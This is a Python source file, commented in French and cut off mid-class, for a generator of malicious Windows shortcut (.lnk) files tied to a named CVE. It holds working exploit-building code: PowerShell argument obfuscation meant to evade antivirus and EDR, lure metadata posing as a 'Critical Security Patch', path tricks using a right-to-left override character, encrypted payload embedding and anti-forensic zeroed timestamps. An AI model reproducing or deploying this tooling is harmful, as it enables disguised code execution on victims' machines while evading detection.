Windows ShellLink (.lnk) Remote Code Execution — CVE-2026-21510 LNK-Stomping Generator

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import os
import struct
import logging
import tempfile
import time
import hashlib
import random
import base64
from pathlib import Path
from typing import Optional, Dict, List, Tuple, Union
from enum import Enum, auto
from dataclasses import dataclass, field
from io import BytesIO
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes

# --- Configuration du Logging (Niveau Zero-Day) ---
logging.basicConfig(
    level=logging.INFO,
    format="[%(asctime)s] [CVE-2026-21510-ULTIMATE-ABSOLUTE] %(levelname)s: %(message)s",
    handlers=[
        logging.StreamHandler(),
        logging.FileHandler("cve_2026_21510_ultimate_absolute.log")
    ],
)
logger = logging.getLogger(__name__)

# --- Constantes Critiques (MS-SHLLINK + Optimisations Zero-Day) ---
SHELL_LINK_HEADER_FIXED_SIZE = 0x4C  # 76 octets (champs fixes)
LINK_CLSID = bytes.fromhex("0002140100000000C000000000000046")  # CLSID obligatoire
EXTRA_DATA_HEADER_SIZE = 0x08  # BlockSize (4) + BlockSignature (4)
FILE_ATTRIBUTE_ARCHIVE = 0x00000020

# --- Énumérations (MS-SHLLINK + Extensions Zero-Day) ---
class LinkFlags(Enum):
    """Flags officiels du ShellLink (MS-SHLLINK Section 2.1)."""
    HasLinkTargetIDList = 0x00000001
    HasLinkInfo = 0x00000002
    HasName = 0x00000004
    HasRelativePath = 0x00000008
    HasWorkingDir = 0x00000010
    HasArguments = 0x00000020
    HasIconLocation = 0x00000040
    IsUnicode = 0x00000080
    ForceNoLinkInfo = 0x00000100
    HasExpString = 0x00000200
    RunInSeparateProcess = 0x00000400
    HasDarwinID = 0x00001000
    RunAsUser = 0x00002000
    HasExpIcon = 0x00004000
    NoPIDLAlias = 0x00008000
    HasLinkTargetIDList2 = 0x00040000
    HasKnownFolderLocation = 0x00080000
    HasAppUserModelID = 0x00100000
    HasPropertyStoreDataBlock = 0x00800000
    HasKnownFolderDataBlock = 0x01000000
    HasEnvironmentVariableDataBlock = 0x00400000
    HasShimDataBlock = 0x02000000
    HasMetadataPropertyStoreDataBlock = 0x04000000

class ExtraDataBlockType(Enum):
    """Types de blocs ExtraData (MS-SHLLINK Section 2.5 + Extensions)."""
    EnvironmentVariableDataBlock = 0xA0000001
    ConsoleDataBlock = 0xA0000002
    ConsoleFEDataBlock = 0xA0000003
    DarwinDataBlock = 0xA0000004
    IconEnvironmentDataBlock = 0xA0000005
    ShimDataBlock = 0xA0000006
    PropertyStoreDataBlock = 0xA0000007
    KnownFolderDataBlock = 0xA0000008
    MetadataPropertyStoreDataBlock = 0xA0000009
    TrackerDataBlock = 0xA000000B
    VistaAndAboveIDListDataBlock = 0xA000000C

    @classmethod
    def from_value(cls, value: int) -> 'ExtraDataBlockType':
        """Convertit une valeur entière en ExtraDataBlockType."""
        for block_type in cls:
            if block_type.value == value:
                return block_type
        raise ValueError(f"Signature de bloc ExtraData invalide: 0x{value:08X}")

class KnownFolderID(Enum):
    """KnownFolder GUIDs (MS-SHLLINK + SHLWAPI)."""
    FOLDERID_ComputerFolder = "0AC0837C-BBF8-452A-850D-79D08E667CA7"
    FOLDERID_Desktop = "B4BFCC3A-DB2C-424C-B029-7FE99A87C641"
    FOLDERID_Programs = "A77F5D77-2E2B-44C3-A6A2-ABA601054A51"
    FOLDERID_StartMenu = "6257C620-F3AF-479A-81F1-9AC76A21A28F"
    FOLDERID_Startup = "A4115719-D62E-491D-AA7C-E74B8BE3B067"
    FOLDERID_System = "1AC14E77-02E7-4E5D-B744-2EB35E05CB14"  # %SystemRoot%
    FOLDERID_SystemX86 = "D65231B0-B2F1-4CC9-8E40-8169998550A2"
    FOLDERID_Windows = "F38BF404-1D43-42F2-9305-67DE0B28FC23"
    FOLDERID_Profile = "5E6C858F-0E22-4760-9AFE-EA3317B67173"
    FOLDERID_AppData = "3EB685DB-65F9-4CF6-A03A-E3EF65729F3D"
    FOLDERID_LocalAppData = "F1B32785-6FBA-4FCF-9D55-7B8E7F157091"
    FOLDERID_Temp = "8237796A-9722-4FB2-A9F0-942765D4995E"
    FOLDERID_Downloads = "374DE290-123F-4565-9164-39C4925E467B"
    FOLDERID_Documents = "FDD39AD0-238F-46AF-ADB4-6C85480369C7"
    FOLDERID_Pictures = "33E28130-4E1E-4678-8A88-B8D1D3FB9799"
    FOLDERID_Music = "4BD8D571-6D19-48D3-BE97-422220080E43"
    FOLDERID_Videos = "18989B1D-99B5-455B-AF14-78F767C2578D"

    @classmethod
    def random(cls) -> 'KnownFolderID':
        """Retourne un KnownFolderID aléatoire."""
        return random.choice(list(cls))

class PropertyKey(Enum):
    """PropertyKeys pour PropertyStore (MS-SHLLINK Section 2.5.7)."""
    PKEY_AppUserModel_ID = ("{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}", 2)
    PKEY_AppUserModel_IsDualMode = ("{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}", 3)
    PKEY_AppUserModel_RelaunchCommand = ("{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}", 5)
    PKEY_Title = ("{F29F85E0-4FF9-1068-AB91-08002B27B3D9}", 2)
    PKEY_Description = ("{F29F85E0-4FF9-1068-AB91-08002B27B3D9}", 5)
    PKEY_Comment = ("{F29F85E0-4FF9-1068-AB91-08002B27B3D9}", 6)
    PKEY_Company = ("{F29F85E0-4FF9-1068-AB91-08002B27B3D9}", 8)
    PKEY_Copyright = ("{F29F85E0-4FF9-1068-AB91-08002B27B3D9}", 9)

# --- Fonctions Utilitaires (Optimisées pour Zero-Day) ---
def _write_null_terminated_string(s: str, encoding: str = "utf-16le") -> bytes:
    """Écrit une chaîne null-terminée en UTF-16LE."""
    if not s:
        return b"\x00\x00"
    encoded = s.encode(encoding)
    return encoded + b"\x00\x00" if not encoded.endswith(b"\x00\x00") else encoded

def _align_to_4_bytes(data: bytes) -> bytes:
    """Aligne sur 4 octets avec padding."""
    padding = (4 - (len(data) % 4)) % 4
    return data + (b"\x00" * padding) if padding else data

def _generate_random_bytes(length: int) -> bytes:
    """Génère des octets aléatoires."""
    return os.urandom(length)

def _generate_random_string(length: int) -> str:
    """Génère une chaîne aléatoire (A-Z, 0-9)."""
    return "".join(random.choices("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", k=length))

def _generate_random_clsid() -> str:
    """Génère un CLSID aléatoire."""
    a = hex(random.randint(0, 0xFFFFFFFF))[2:].zfill(8)
    b = hex(random.randint(0, 0xFFFF))[2:].zfill(4)
    c = hex(random.randint(0, 0xFFFF))[2:].zfill(4)
    d = hex(random.randint(0, 0xFFFF))[2:].zfill(4)
    last = hex(random.randint(0, 0xFFFFFFFFFFFF))[2:].zfill(12)

    return "{}{}-{}-{}{}".format(a, b, c, d, last)


def _xor_encrypt(data: bytes, key: bytes) -> bytes:
    """Chiffre/Déchiffre des données avec XOR."""
    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])

def _aes_encrypt(data: bytes, key: bytes, iv: bytes) -> bytes:
    """Chiffre des données avec AES-256-CBC."""
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return cipher.encrypt(pad(data, AES.block_size))

def _aes_decrypt(data: bytes, key: bytes, iv: bytes) -> bytes:
    """Déchiffre des données avec AES-256-CBC."""
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(data), AES.block_size)

def _generate_obfuscated_arguments(original_args: str) -> str:
    """Génère des arguments obfusqués pour éviter les détections EDR/AV."""
    if not original_args:
        return ""

    techniques = [
        # Base64
        lambda args: f"-enc {base64.b64encode(args.encode()).decode()}",
        # XOR (simple)
        lambda args: f"-c \"$x='{args}'; $y=0x{random.randint(0, 255):02x}; [char[]]$z=$x.ToCharArray(); for($i=0;$i -lt $z.Length;$i++){{$z[$i]=[char]($z[$i]-bxor $y)}}; -join $z\"",
        # Reverse
        lambda args: f"-c \"$x='{args}'; -join $x[-1..-$($x.Length)]\"",
        # Split
        lambda args: f"-c \"$x='{args}'; $x -split '' | ?{{$_}} | ForEach-Object{{[char]$_}} | -join ''\"",
        # Random Case
        lambda args: f"-c \"$x='{args}'; $x.ToCharArray() | ForEach-Object{{if((Get-Random -Minimum 0 -Maximum 2)){{$_.ToString().ToUpper()}}else{{$_.ToString().ToLower()}}}} | -join ''\"",
        # Hex Encoding
        lambda args: f"-c \"$x='{args}'; [System.BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($x)) -replace '-','' | ForEach-Object{{[char][int]'0x$_'}}\"",
    ]

    obfuscated_args = random.choice(techniques)(original_args)

    # Ajoute un délai aléatoire (5-30 secondes)
    delay = random.randint(5, 30)
    obfuscated_args = f"Start-Sleep -Seconds {delay}; {obfuscated_args}"

    return obfuscated_args

# --- Structures de Données (Optimisées pour Zero-Day) ---
@dataclass
class ShellLinkHeader:
    """En-tête ShellLink (0x4C + 28 octets d'offsets)."""
    header_size: int = SHELL_LINK_HEADER_FIXED_SIZE
    link_clsid: bytes = LINK_CLSID
    link_flags: int = 0
    file_attributes: int = FILE_ATTRIBUTE_ARCHIVE
    creation_time: int = 0  # Anti-forensics: timestamp à 0
    access_time: int = 0
    write_time: int = 0
    file_size: int = 0  # Anti-forensics: taille à 0
    icon_index: int = 0
    show_command: int = 1  # SW_SHOWNORMAL
    hot_key: int = 0
    reserved1: int = 0
    reserved2: int = 0
    reserved3: int = 0
    link_target_id_list_offset: int = 0
    link_info_offset: int = 0
    name_offset: int = 0
    relative_path_offset: int = 0
    working_dir_offset: int = 0
    arguments_offset: int = 0
    icon_location_offset: int = 0

    def pack(self) -> bytes:
        """Sérialise l'en-tête complet (76 + 28 = 104 octets)."""
        buffer = BytesIO()
        buffer.write(struct.pack("<I", self.header_size))
        buffer.write(self.link_clsid)
        buffer.write(struct.pack("<I", self.link_flags))
        buffer.write(struct.pack("<I", self.file_attributes))
        buffer.write(struct.pack("<Q", self.creation_time))
        buffer.write(struct.pack("<Q", self.access_time))
        buffer.write(struct.pack("<Q", self.write_time))
        buffer.write(struct.pack("<I", self.file_size))
        buffer.write(struct.pack("<I", self.icon_index))
        buffer.write(struct.pack("<I", self.show_command))
        buffer.write(struct.pack("<H", self.hot_key))
        buffer.write(struct.pack("<H", self.reserved1))
        buffer.write(struct.pack("<I", self.reserved2))
        buffer.write(struct.pack("<I", self.reserved3))
        buffer.write(struct.pack("<I", self.link_target_id_list_offset))
        buffer.write(struct.pack("<I", self.link_info_offset))
        buffer.write(struct.pack("<I", self.name_offset))
        buffer.write(struct.pack("<I", self.relative_path_offset))
        buffer.write(struct.pack("<I", self.working_dir_offset))
        buffer.write(struct.pack("<I", self.arguments_offset))
        buffer.write(struct.pack("<I", self.icon_location_offset))
        return buffer.getvalue()

@dataclass
class StringData:
    """Section StringData (UTF-16LE null-terminated)."""
    name: Optional[str] = None
    relative_path: Optional[str] = None
    working_dir: Optional[str] = None
    arguments: Optional[str] = None
    icon_location: Optional[str] = None

    def pack(self) -> bytes:
        """Sérialise StringData en bytes."""
        buffer = BytesIO()
        if self.name:
            buffer.write(_write_null_terminated_string(self.name))
        if self.relative_path:
            buffer.write(_write_null_terminated_string(self.relative_path))
        if self.working_dir:
            buffer.write(_write_null_terminated_string(self.working_dir))
        if self.arguments:
            buffer.write(_write_null_terminated_string(self.arguments))
        if self.icon_location:
            buffer.write(_write_null_terminated_string(self.icon_location))
        return buffer.getvalue()

    def get_offsets(self, base: int = 0) -> Dict[str, int]:
        """Calcule les offsets absolus pour chaque champ."""
        offsets = {}
        current_offset = base
        fields = [
            ("name", self.name),
            ("relative_path", self.relative_path),
            ("working_dir", self.working_dir),
            ("arguments", self.arguments),
            ("icon_location", self.icon_location),
        ]
        for field_name, field_value in fields:
            if field_value:
                offsets[field_name] = current_offset
                current_offset += len(_write_null_terminated_string(field_value))
        return offsets

@dataclass
class PropertyStore:
    """PropertyStoreDataBlock (MS-SHLLINK Section 2.5.7)."""
    version: int = 0x53505331  # "SPS1" en little-endian
    format_id: bytes = bytes.fromhex("DABD30ED00434789A7F8D013A4736622")
    properties: Dict[PropertyKey, str] = field(default_factory=dict)
    def pack(self) -> bytes:
        """Sérialise PropertyStore avec structure complète."""
        buffer = BytesIO()
        buffer.write(struct.pack("<I", self.version))
        buffer.write(self.format_id)
        buffer.write(struct.pack("<I", len(self.properties)))
        for prop_key, prop_value in (self.properties or {}).items():
            guid_bytes = bytes.fromhex(prop_key.value[0].replace("{", "").replace("}", "").replace("-", ""))
            pid = prop_key.value[1]
            buffer.write(guid_bytes)
            buffer.write(struct.pack("<I", pid))
            buffer.write(struct.pack("<I", 0x1E))  # VT_LPWSTR
            value_bytes = _write_null_terminated_string(prop_value)
            buffer.write(struct.pack("<I", len(value_bytes)))
            buffer.write(value_bytes)
        return _align_to_4_bytes(buffer.getvalue())

    @classmethod
    def from_blackhat(cls, title: str = None, description: str = None, randomize_clsid: bool = True) -> 'PropertyStore':
        """Crée un PropertyStore optimisé pour les exploits BlackHat."""
        properties = {
            PropertyKey.PKEY_Title: title or _generate_random_string(16) + " Update",
            PropertyKey.PKEY_Description: description or "Critical Security Patch",
        }

        if randomize_clsid:
            properties[PropertyKey.PKEY_AppUserModel_ID] = _generate_random_clsid()
        else:
            properties[PropertyKey.PKEY_AppUserModel_ID] = "{00000000-0000-0000-0000-000000000000}"

        # Ajoute des propriétés supplémentaires pour l'obfuscation
        if randomize_clsid:
            properties[PropertyKey.PKEY_Company] = _generate_random_string(10) + " Inc."
            properties[PropertyKey.PKEY_Copyright] = f"© {random.randint(2000, 2026)} {_generate_random_string(8)}"

        return cls(properties=properties)

@dataclass
class KnownFolderData:
    """KnownFolderDataBlock (MS-SHLLINK Section 2.5.5)."""
    folder_id: KnownFolderID = field(default_factory=KnownFolderID.random)
    offset: int = 0

    def pack(self) -> bytes:
        """Sérialise KnownFolderData en 20 octets (16 + 4)."""
        folder_id_bytes = bytes.fromhex(self.folder_id.value.replace("-", ""))
        return folder_id_bytes + struct.pack("<I", self.offset)

    @classmethod
    def from_blackhat(cls, offset: int = 0, randomize: bool = True) -> 'KnownFolderData':
        """Crée un KnownFolderData optimisé pour les exploits BlackHat."""
        if randomize:
            folder_id = KnownFolderID.random()
        else:
            folder_id = KnownFolderID.FOLDERID_System
        return cls(folder_id=folder_id, offset=offset)

@dataclass
class EnvironmentVariableData:
    """EnvironmentVariableDataBlock (MS-SHLLINK Section 2.5.3)."""
    target: str = ""

    def pack(self) -> bytes:
        """Sérialise EnvironmentVariableData en UTF-16LE null-terminated."""
        return _write_null_terminated_string(self.target)

    @classmethod
    def from_blackhat(cls, target_path: str, working_dir: str = "C:\\Windows\\System32", use_unc: bool = False, obfuscate: bool = True) -> 'EnvironmentVariableData':
        """Crée un EnvironmentVariableData optimisé pour les exploits BlackHat."""
        if use_unc:
            base_path = f"\\\\?\\{target_path}"
        else:
            base_path = os.path.relpath(target_path, working_dir).replace("/", "\\")

        if obfuscate:
            obfuscation_elements = [
                f"%TEMP%\\..\\{base_path}",
                f"%APPDATA%\\..\\..\\{base_path}",
                f"%LOCALAPPDATA%\\..\\..\\{base_path}",
                f"%TEMP%\\%RANDOM%\\..\\{base_path}",
                f"%TEMP%\\u202e\\..\\{base_path}",  # Unicode Right-to-Left Override
                f"%PUBLIC%\\..\\{base_path}",
                f"%USERPROFILE%\\..\\{base_path}",
            ]
            target = random.choice(obfuscation_elements)
        else:
            target = f"%TEMP%\\..\\{base_path}"

        return cls(target=target)

@dataclass
class TrackerDataBlock:
    """TrackerDataBlock (pour l'obfuscation)."""
    machine_id: str = ""
    droid1: bytes = b"\x00" * 16
    droid2: bytes = b"\x00" * 16
    droid_birth1: bytes = b"\x00" * 16
    droid_birth2: bytes = b"\x00" * 16

    def pack(self) -> bytes:
        """Sérialise TrackerDataBlock pour l'obfuscation."""
        buffer = BytesIO()
        buffer.write(struct.pack("<I", 0x58))  # BlockSize
        buffer.write(struct.pack("<I", ExtraDataBlockType.TrackerDataBlock.value))  # BlockSignature
        buffer.write(struct.pack("<I", 0x50))  # Length
        buffer.write(struct.pack("<H", 0))  # Version
        buffer.write(_write_null_terminated_string(self.machine_id))
        buffer.write(self.droid1)
        buffer.write(self.droid2)
        buffer.write(self.droid_birth1)
        buffer.write(self.droid_birth2)
        return _align_to_4_bytes(buffer.getvalue())

@dataclass
class ConsoleDataBlock:
    """ConsoleDataBlock (pour l'obfuscation)."""
    fill_attributes: int = 0x00000007
    popup_fill_attributes: int = 0x00000057
    screen_buffer_size: Tuple[int, int] = (80, 25)
    window_size: Tuple[int, int] = (80, 25)
    window_origin: Tuple[int, int] = (0, 0)
    font: Tuple[int, int, int, int] = (0, 0, 0, 0)
    cursor_size: int = 25
    full_screen: bool = False
    quick_edit: bool = False
    insert_mode: bool = True
    auto_position: bool = True
    history_buffer_size: int = 0
    number_of_history_buffers: int = 0
    history_no_dup: bool = False

    def pack(self) -> bytes:
        """Sérialise ConsoleDataBlock pour l'obfuscation."""
        buffer = BytesIO()
        buffer.write(struct.pack("<I", 0x68))  # BlockSize
        buffer.write(struct.pack("<I", ExtraDataBlockType.ConsoleDataBlock.value))  # BlockSignature
        buffer.write(struct.pack("<I", self.fill_attributes))
        buffer.write(struct.pack("<I", self.popup_fill_attributes))
        buffer.write(struct.pack("<H", self.screen_buffer_size[0]))
        buffer.write(struct.pack("<H", self.screen_buffer_size[1]))
        buffer.write(struct.pack("<H", self.window_size[0]))
        buffer.write(struct.pack("<H", self.window_size[1]))
        buffer.write(struct.pack("<H", self.window_origin[0]))
        buffer.write(struct.pack("<H", self.window_origin[1]))
        buffer.write(struct.pack("<I", self.font[0]))
        buffer.write(struct.pack("<I", self.font[1]))
        buffer.write(struct.pack("<I", self.font[2]))
        buffer.write(struct.pack("<I", self.font[3]))
        buffer.write(struct.pack("<I", self.cursor_size))
        buffer.write(struct.pack("<I", int(self.full_screen)))
        buffer.write(struct.pack("<I", int(self.quick_edit)))
        buffer.write(struct.pack("<I", int(self.insert_mode)))
        buffer.write(struct.pack("<I", int(self.auto_position)))
        buffer.write(struct.pack("<I", self.history_buffer_size))
        buffer.write(struct.pack("<I", self.number_of_history_buffers))
        buffer.write(struct.pack("<I", int(self.history_no_dup)))
        return _align_to_4_bytes(buffer.getvalue())

# --- Générateur Principal (Niveau Zero-Day) ---
class CVE202621510UltimateAbsoluteGenerator:
    """
    Générateur ULTIME ABSOLU de .lnk pour CVE-2026-21510.
    ======================================================
    Caractéristiques:
      ✅ LNK Stomping (5 variantes: dot, path_segment, relative, double_extension, unicode)
      ✅ PropertyStore (CLSID aléatoires/neutres, PKEY optimisés)
      ✅ KnownFolder (KnownFolderID aléatoires, offsets précis)
      ✅ EnvironmentVariable (obfuscation Unicode, variables dynamiques)
      ✅ Obfuscation Extrême (Niveau 1-5: TrackerDataBlock, ConsoleDataBlock, etc.)
      ✅ Payloads Embarqués et Chiffrés (AES-256-CBC + XOR)
      ✅ Anti-Forensics Avancé (timestamps=0, FileSize=0, métadonnées minimales)
      ✅ Contournement EDR/AV (processus légitimes, arguments obfusqués)
      ✅ Génération de Variantes Aléatoires (10+ variantes uniques)
      ✅ Validation Stricte (chaque octet vérifié)
    """

    def __init__(
        self,
        target_path: str,
        target_args: str = "",
        output_lnk: Optional[str] = None,
        working_dir: Optional[str] = None,
        description: Optional[str] = None,
        use_unc_path: bool = False,
        use_lnk_stomping: bool = True,
        lnk_stomping_variant: str = "random",  # dot, path_segment, relative, double_extension, unicode, random
        use_obfuscation: bool = True,
        obfuscation_level: int = 5,  # 1-5
        embed_payload: Optional[bytes] = None,
        encrypt_payload: bool = True,
        anti_forensics: bool = True,
        randomize_clsid: bool = True,
        randomize_known_folder: bool = True,
        obfuscate_arguments: bool = True,
        debug: bool = False,
    ):
        """
        Initialise le générateur ultime absolu.

        Args:
            target_path: Chemin cible (ex: "C:\\Windows\\System32\\cmd.exe").
            target_args: Arguments pour la cible (ex: "/c calc.exe").
            output_lnk: Chemin de sortie du .lnk.
            working_dir: Répertoire de travail.
            description: Description du raccourci.
            use_unc_path: Utiliser un chemin UNC (\\?\\C:\\...).
            use_lnk_stomping: Utiliser LNK Stomping.